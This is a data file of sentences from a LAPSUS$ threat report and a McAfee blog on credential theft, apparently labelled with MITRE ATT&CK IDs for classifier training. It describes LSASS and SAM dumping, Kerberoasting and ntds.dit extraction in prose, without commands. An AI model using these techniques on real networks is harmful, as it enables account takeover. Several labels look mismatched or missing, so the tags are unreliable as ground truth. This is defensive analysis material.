{"sentence": "In the investigations conducted by NCC Group, little to no malware is used.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "In one case NCC Group observed LAPSUS$ using nothing more than the legitimate Sysinternals tool ADExplorer, which was used to conduct reconnaissance on the victim’s environment.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Access to corporate VPNs is a primary focus for this group as it allows the threat actor to directly access key infrastructure which they require to complete their objectives.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "In our incident response cases, we saw the threat actor leveraging compromised employee email accounts to email helpdesk systems requesting access credentials or support to get access to the corporate VPN.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Lateral Movement In one incident LAPSUS$ were observed to sporadically move through the victim environment via RDP in an attempt to access resources deeper in the victim environment.", "labels": ["T1021.001"], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "In some instances, victim controlled hostnames were revealed including the host “VULTR-GUEST” which refers to infrastructure hosted on the private cloud service, Vultr[3].", "labels": ["T1082"], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Exfiltration LAPSUS$’s action on objectives appears to focus on data exfiltration of sensitive information as well as destruction or disruption.", "labels": ["T1005"], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "In one particular incident the threat actor is observed to utilise the free file drop service “filetransfer[.]io”.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Impact NCC Group has observed disruption and destruction to client environments by LAPSUS$ such as shutting down virtual machines from within on-premises VMware ESXi infrastructure, to the extreme of mass deletion of virtual machines, storage, and configurations in cloud environments making it harder for the victim to recover and for the investigation team to conduct their analysis activities.", "labels": ["T1070.004"], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "The theft of data reported appears to heavily be focused on application source code or proprietary technical information.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "With a targeting of internal source code management or repository servers.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "These git repositories can contain not only commercially sensitive intellectual property, but also in some cases may include additional API keys to sensitive applications including administrative or cloud applications.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Recommendations Ensure that Cloud computing environments have sufficient logging enabled.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Ensure that cloud administrative access is configured to prevent unauthorised access to resources and that API keys are not overly permissive to the permissions they require.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Utilise MFA for user authentication on both cloud and remote access solutions to help reduce the risk of unauthorised access.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Ensure logging is in place to record MFA device enrolmentSecurity controls such as Conditional Access can help restrict or prevent unauthorised access based on criteria such as geographical location.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Implement activities to detect and investigate anomalies in VPN access.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Ensure a system is in place to record all helpdesk queries.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Avoid using SMS as an MFA vector to avoid the risk of SIM swapping.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Securing source code environments to ensure that users can only access the relevant repositories.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Secret Scanning[1][2] on source code repositories should be conducted to ensure that sensitive API credentials are not stored in source code.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "GitHub and Gitlab offer detection mechanisms for thisRemote Desktop services or Gateways used as a primary or secondary remote access solution should be removed from any corporate environment in favour for alternative solutions such as secured VPNs, or other Remote Desktop applications which mitigate common attack techniques such as brute force or exploitation and can offer additional security controls such as MFA and Conditional Access.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Centralise logging including cloud applications (SIEM solution).Offline or immutable backups of servers should be taken to ensure that in the event of a data disruption or destruction attack, services can be restored.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Reduce MFA token/Session cookie validity timesEnsure principle of least privilege for user accounts is being adhered to.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Social engineering awareness training for all staff.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Indicators of Compromise Indicator ValueIndicator TypeDescription104.238.222[.]158IP", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "addressMalicious Lapsus Network Address108.61.173[.]214IP", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "addressMalicious Lapsus Network Address185.169.255[.]74IP addressMalicious Lapsus Network AddressVULTR-GUESTHostnameThreat Actor Controlled Hosthxxps://filetransfer[.]ioDomainFree", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "File Drop Service Utilised by the Threat Actor MITRE ATT&CK Technique CodeTechniqueT1482Discovery – Domain Trust DiscoveryT1018Discovery – Remote System DiscoveryT1069.002Discovery –", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Groups Discovery: Domain GroupsT1016.001Discovery – System Network Configuration DiscoveryT1078.002Privilege Escalation – Domain AccountsT1555.005Credential Access – Credentials from Password Stores: Password ManagersT1021.001Lateral Movement – Remote Services:", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Remote Desktop ProtocolT1534Lateral Movement – Internal SpearphishingT1072Execution – Software Deployment ToolsT1213.002Collection – Data from Information Repositories: SharepointT1039Collection – Data from Network Shared DriveT1213.003Collection – Data from Information Repositories: Code RepositoriesT1567Exfiltration – Exfiltration Over Web ServiceT1485Impact – Data DestructionT1529Impact – System Shutdown/Reboot References https://docs.github.com/en/code-security/secret-scanning/about-secret-scanninghttps://docs.gitlab.com/ee/user/application_security/secret_detectionhttps://www.vultr.com/", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Executive Summary Today, enterprises tend to use multiple layers of security defenses, ranging from perimeter defense on network entry points to host based security solutions deployed at the end user’s machines to counter the ever-increasing threats.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "This includes inline traffic filtering and management security solutions deployed at access and distribution layers in the network, as well as out of band solutions like NAC, SIEM or User Behavior Analysis to provide identity-based network access and gain more visibility into the user’s access to critical network resources.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "However, layered security defenses face the major and recurring challenge of detecting newer exploitation techniques as they heavily rely on known behaviors.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Additionally, yet another significant challenge facing the enterprise network is detecting post-exploitation activities, after perimeter security is compromised.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Post initial compromise, to be able to execute meaningful attacks, attackers would need to steal credentials to move laterally inside the network, access critical network assets and eventually exfiltrate data.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "They will use several sophisticated techniques to perform internal reconnaissance and remote code execution on critical resources, which range from using legitimate operating system tools to discover network assets to using novel code execution techniques on the target.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Consequently, differentiating between the legitimate and malicious use of Windows’ internal tools and services becomes a high priority for enterprise networks.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "To tackle this long-standing problem of detecting lateral movement, enterprise networks must formulate active in-network defense strategies to effectively prevent attackers from accessing critical network resources.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Network Deception is one such defensive approach which could potentially prove to be an effective solution to detect credential theft attacks.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Detecting credential stealing attacks with deception essentially requires building the necessary infrastructure by placing the decoy systems within the same network as production assets and configuring them with decoy contents to lure the attackers towards the decoy machines and services.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Accurately configuring and tuning the deceptive network can deflect the attacker’s lateral movement path towards the deceptive services, consequently allowing the attackers to engage with the deceptive network, helping enterprises protect production assets.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "MITRE Shield, a knowledge base maintained by MITRE for active defense techniques highlights many of the methods in adversary engagement.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Some of the techniques described by MITRE Shield Matrix with respect to network deception are as below: MITRE Shield Description ATT&CK Technique Decoy Account – DTE0010 A decoy account is created for defensive or deceptive purposes.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The decoy account can be used to make a system, service, or software look more realistic or to entice an action Account Discovery, Reconnaissance Decoy Credentials – DTE0012 Seed a target system with credentials (such as username/password, browser tokens, and other forms of authentication data) Credential Access, Privilege Escalation Decoy Diversity – DTE0013 deployment of decoy systems with varying Operating Systems and software configurations Reconnaissance Decoy Network – DTE0014 Multiple computing resources that can be used for defensive or deceptive purposes Initial Access Decoy Personna – DTE0015 Used to establish background information about a user.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "In order to have the adversary believe they are operating against real targets Initial Access, Discovery, Reconnaissance Decoy System – DTE0017 Computing resources presented to the adversary in support of active defense Reconnaissance Over the course of this paper, we will discuss some of the widely adapted credential theft attacks executed by adversaries after the initial compromise and then move on to discuss defense techniques against the above MITRE Shield attacks and how to use them effectively to detect deceptive credential usage in the network.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Network Deception – An Active in-network defensive approach Most of the targeted attacks involve stealing credentials from the system at a certain point in time as attackers would use them to pivot to other systems in the network.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Some of the credential stealing techniques like Golden Ticket attacks have been found to be used in multiple ransomwares armed with lateral movement capabilities.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Active in-network defense strategies described by the MITRE Shield matrix are significant and play a critical role in detecting credential abuse in the network.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Network Deception uses these active defense techniques to build the deceptive network infrastructure which could potentially lead to redirecting an attacker’s lateral movement path and engaging them to the decoy services without touching the critical production systems.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "It involves placing decoy systems, decoy credentials and decoy contents all throughout the production network essentially converting it into a trap, playing a crucial role in mitigating the attacks.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "McAfee Protection McAfee MVISION Endpoint Security has the capabilities to protect against credential theft attacks like credential extraction from LSASS process memory via ATP rule 511.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "More details on configuring policies and a demo are available here.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "McAfee MVISION Endpoint Detection and Response (EDR) has the capabilities to detect credential access from tools like Mimikatz.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "With McAfee MVISION EDR and ENS integration with Attivo’s network and endpoint deception sensor, McAfee can manage its agents and receive alerts for detections in ePO and EDR.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Lateral Movement – Introduction Lateral movement refers to the tools and techniques used by attackers to progressively expand their foothold within an enterprise network after gaining initial access.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "As shown in the figure below, lateral movement activity comprises of several stages starting from credential theft, target enumeration and discovery, privilege escalation, gaining access to network resources and eventually remote code execution on the target before exfiltrating data to accomplish a successful attack.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Once inside the network, attackers will deploy a range of techniques at each stage of lateral movement to achieve their end goal.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "One of the primary challenges an attacker will face while moving laterally inside a network is to hide their activities in plain sight by generating a minimum volume of legitimate looking logs to be able to remain undetected.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "To achieve this, an attacker might choose to embed the tool within a malicious executable or use the operating system’s internal legitimate tools and services to perform its lateral movement operations, consequently making this network traffic harder to distinguish.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "As per the Verizon DBIR report 2020, over 80% of data breaches involve credential theft attacks.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Credential theft is one of the primary tasks attackers need to perform post-exploitation and after gaining initial control of the target machine.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "It will usually be the first step towards lateral movement strategies which will allow attackers to elevate their privileges and acquire access to other network resources.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "As indicated earlier, attackers have long been abusing Windows legitimate features like SMB, RPC over SMB, Windows Management Instrumentation, Windows Remote Management, and many other features to perform lateral movement activities.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 1 below highlights where lateral movement falls within the attack chain and its different stages.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "To remain stealthier, these activities would span a period ranging from many weeks to months.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 1 – Stages of Lateral movement To be able to distinguish between the admissible and malicious use of these inbuilt services, it is extremely critical for organizations to deploy advanced Threat Detection solutions.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Over the course of this blog, we will discuss various credential theft techniques used by adversaries during lateral movement.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "We will also discuss an approach that can be used to effectively detect these techniques inside the network.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Credential Theft Attacks Attackers use a variety of tools and techniques to execute credential theft attacks.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Many of these tools are open source and readily available on the internet.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Operating systems like Windows implement Single Sign", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "On (SSO) functionality, which require the user’s credentials to be stored in memory, thereby allowing the OS to seamlessly access network resource without repeatedly asking the user to re-enter those credentials.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Additionally, user credentials are stored in memory in a variety of formats like NTLM hashes, reversibly encrypted plaintext, Kerberos tickets, PINs, etc., which can be used to authenticate to services depending upon the supported authentication mechanism.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These credentials can be acquired by attackers from memory by parsing appropriate credential storage structures or using the Windows credential enumeration APIs.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Consequently, these attacks pose major security concerns, especially in the domain environment if the attacker gains access to privileged credentials which can then be reused to access critical network resources.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "In the following sections, we discuss some of the widely adapted credential stealing techniques used by malware, with respect to the Windows operating system.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Similar credential stealing techniques can also be used with other operating systems as well.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Stealing Credentials from LSASS Process Memory The Local Security Authority Subsystem Service (LSASS) process manages and stores the credentials of all the users with active Windows sessions.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These credentials stored in the LSASS process memory will allow users to access other network resource such as files shares, email servers and other remote services without asking them for the credentials again.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "LSASS process memory stores the credentials in many formats including reversibly encrypted plaintext, NTLM hashes, Kerberos Tickets (Ticket Granting Tickets, etc.).", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These credentials are generated and stored in the memory of the LSASS process when a user initiates the interactive logon to the machine such as console logon or RDP, runs a scheduled task or uses remote administration tools.", "labels": ["T1003.001", "T1053.005"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The encryption and decryption of credentials is done using LsaProtectMemory and LsaUnProtectMemory respectively and hence a decryption tool using these APIs will be able to decrypt LSASS memory buffers and extract them.", "labels": ["T1140"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "However, malware would need to execute with local administrator privileges and enable “SeDebugPrivilege” on the current process to be able access the LSASS process memory.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Below is a code snapshot from one of the famous credential harvesting tools, Mimikatz, enabling the required privileges on the calling thread before dumping the credentials.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 2 – Checking for required privileges We can see that the NTLM hash of the user’s credentials is revealed, and this can be brute forced offline as shown below.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Many Windows services, such as SMB, support NTLM authentication and NTLM hashes can be used directly for authentication eliminating the need for the clear text passwords.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 3 – Cracking NTLM Hashes offline Attackers avoid using freely available tools like Mimikatz directly on the target machine to harvest credentials since they are easily detected by AVs.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Instead, they use recompiled clones of it with minimal functionality to avoid noise.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Below is one such instance where malware embeds recompiled Mimikatz code with the minimal required functionality.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 4 – Credential extraction tool embedded inside malicious executable Detection can also be avoided by using several “living off the land’ mechanisms, available in many post-exploitation frameworks, to execute the credential harvesting tools directly from memory using Reflective PE injection, where the binary is never written to the disk.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Yet another approach is to dump the LSASS process memory using process dumping tools, exfiltrate the dump and extract the credentials offline.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Microsoft has documented multiple ways to configure additional LSASS process protection which can prevent credentials being compromised.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Stealing Credentials from Security Accounts Manager (SAM) Database The SAM database is a file on a local hard drive that stores the credentials for all local accounts on the Windows computer.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "NT hashes for all the accounts on the local machine, including the local administrator credential hash, are stored in the SAM database.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The SAM database file is in %SystemRoot%system32/config and the hashes of the credentials are within the registry HKLM\\SAM.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Attackers need to acquire elevated privileges to be able to access the credentials from the SAM database.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The example below demonstrates how the credentials from the SAM database can be revealed through a simple Meterpreter session.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 5 – Dumping SAM database Stealing Credentials from Windows Credential Manager (CredMan) Windows Credential Manager stores the Web and SMB/RDP credentials of users if they choose to save them on the Windows machine, thereby preventing the authentication mechanism from asking for those passwords again on subsequent logins.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These credentials are encrypted with Windows Data Protection APIs (DPAPI) CryptProtectData, either using the current user’s logon session or a generated master key, and then saved on the local hard drive.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Consequently, any process running in the context of the logged in user will be able to decrypt the credentials using CryptUnProtectData DPAPI.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "In the domain environment, these credentials can be used by attackers to pivot to other systems in the network.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Data Protection APIs provide the cryptographic functionalities that can be used to securely store credentials and keys.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These APIs are used by several other Windows components like browsers (IE/Chrome), certificates and many other applications as well.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Below is one example of how credential dumping tools like Mimikatz can be used to dump stored Chrome credentials.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 6 – Dumping browser credentials DPAPI can be abused in multiple ways.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "In the Active Directory domain joined environment, if other users have logged into the compromised machine, provided a malware is running with escalated privileges, it can extract other user’s master keys from the LSASS memory which can then be used to decrypt their secrets.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Below is a screenshot of how the master key can be extracted by using the credential dumping tool.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 7 – Extracting DPAPI Master Key Malware also tends to use multiple variants of credential enumeration APIs available within Windows.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These APIs can extract credentials from Windows Credential Manager.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Below is one instance of the malware using CredEnumerateW API to retrieve credentials and then search for terminal services passwords which It would use to pivot to other systems.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 8 – Extracting credentials using Windows API Stealing Service Account Credentials Through Kerberoasting In the domain joined environment, the Kerberos protocol has a significant role to play with respect to authentication and requesting access to services and applications.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "It provides Single-Sign-On functionality for accessing multiple shared resources within the enterprise network.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The Kerberos authentication mechanism in Active Directory involves multiple requests and responses like Ticket Granting Ticket (TGT) and Ticket Granting Service (TGS) supported by a Key Distribution Server (KDC), usually a Domain Controller.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Upon successful authentication, a user will be able to access the respective services.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Attackers gaining access to a system joined in the domain would usually look for high value assets like Active Directory Controller, Database server, SharePoint server, Web Server, etc., and these services are registered in the domain with the specific Service Principal Name (SPN) values, which is a unique identifier of the Service Account in the domain.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These SPN values are used by Kerberos to map the instance with the logon account allowing the client to authenticate to the respective service.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Well known SPN values are listed out here.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Once the attacker is authenticated with any domain user credentials and has information about the SPN values of the services within the domain, they can initiate the Kerberos Ticket Granting Service request (TGS – REQ) to the Key Distribution Server with the specified SPN value.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Details on how the SPN values are registered and used in Kerberos authentication is documented here.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "TGS response from the KDC will have the Kerberos Ticket encrypted with the hash of the service account.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "This ticket can be extracted from the memory and can be brute forced offline to acquire service account credentials, allowing a domain user to gain admin level access to the service.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Kerberoasting is a well-documented attack technique listed in MITRE ATT&CK and it essentially abuses the Kerberos authentication allowing adversaries to request the TGS Tickets for the valid service accounts and brute force the ticket offline to extract the plain text credentials of the service accounts, consequently enabling them to elevate their privileges from domain user to domain admin.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "As an initial step to this lateral movement technique, the attacker would perform an internal reconnaissance to gain information about the services registered in the domain and get SPN values.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "A simple PowerShell command after importing the Active Directory PowerShell module, as shown below, can initiate the LDAP query to get information about all the user accounts from the Domain Controller with the SPN value set. Figure 9 – PowerShell command to generate LDAP query Attackers can specifically choose to scan the domain for MSSQL service with the registered SPN value used for Kerberos authentication.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "PowerShell scripts like GetUserSPNs can scan all the user SPNs in the domain or MSSQL service registered in the domain with Discover-PSMSSQLServers or Invoke-Kerberoast scripts.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Following is an example output from the script:", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 10 – Kerberoasting PowerShell script output Once an attacker has the SPN value of the SQL service, a Kerberos Ticket Granting Service Ticket request (TGS-REQ) can be initiated to the domain controller with the SPN value.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "This can be done by a couple of PowerShell commands generating KRB-TGS-REQ as shown below: Figure 11 – Kerberos TGS request Consequently, the Domain Controller sends the TGS-RESP with the ticket of the service account which will be cached in the memory and can be extracted by dumping tools like Mimikatz as a .kirbi document.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "This can be brute forced offline by tgsrespcrack, allowing the attacker to gain unrestricted access to the service with elevated privileges.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Stealing Credentials from Active Directory Domain Service (ntdis.dit) File As indicted earlier, once an attacker has penetrated the domain network, it will be natural to progress towards targeting critical assets, such as the Active Directory controller.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The Active Directory Database Services AD DS Ntds.dit file is one of the most overlooked attack vectors in the domain environment but can have significant impact if the attacker is able to gain the domain administrative rights leading to complete domain compromise.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The Ntds.dit file is the authoritative store of credentials for all the users in the domain joined environment, storing all the information about the users, groups and memberships, including credentials (NT Hashes) of all the users in the domain with historical passwords and user’s DPAPI backup master keys.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "An Attacker with domain admin rights can gain access to the Domain Controller’s file system and acquire credentials like hashes, Kerberos tickets and other reversibly encrypted passwords of all the users joined in the domain by dumping and exfiltrating the Ntds.dit file.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These credentials can then be used by the attacker to further access resources by using attack techniques like PTH within the network since the credentials used across other shared resource could be same.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Multiple techniques can be used to dump the Ntds.dit file from the Domain Controller locally as well as remotely and extract the NTLM hashes/DPAPI backup keys for all the domain joined users.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "One of the techniques is to use the Volume Shadow Copy Service using the vssadmin command line utility and then extract the Ntds.dit file from the volume shadow copy as shown below.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 12 – Dumping Volume shadow copy for C drive Sensitive data on Active Directory is encrypted with the Boot Key (Syskey) stored in the SYSTEM registry hive and dumping the SYSTEM registry hive is a prerequisite as well to be able to extract all the credentials.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
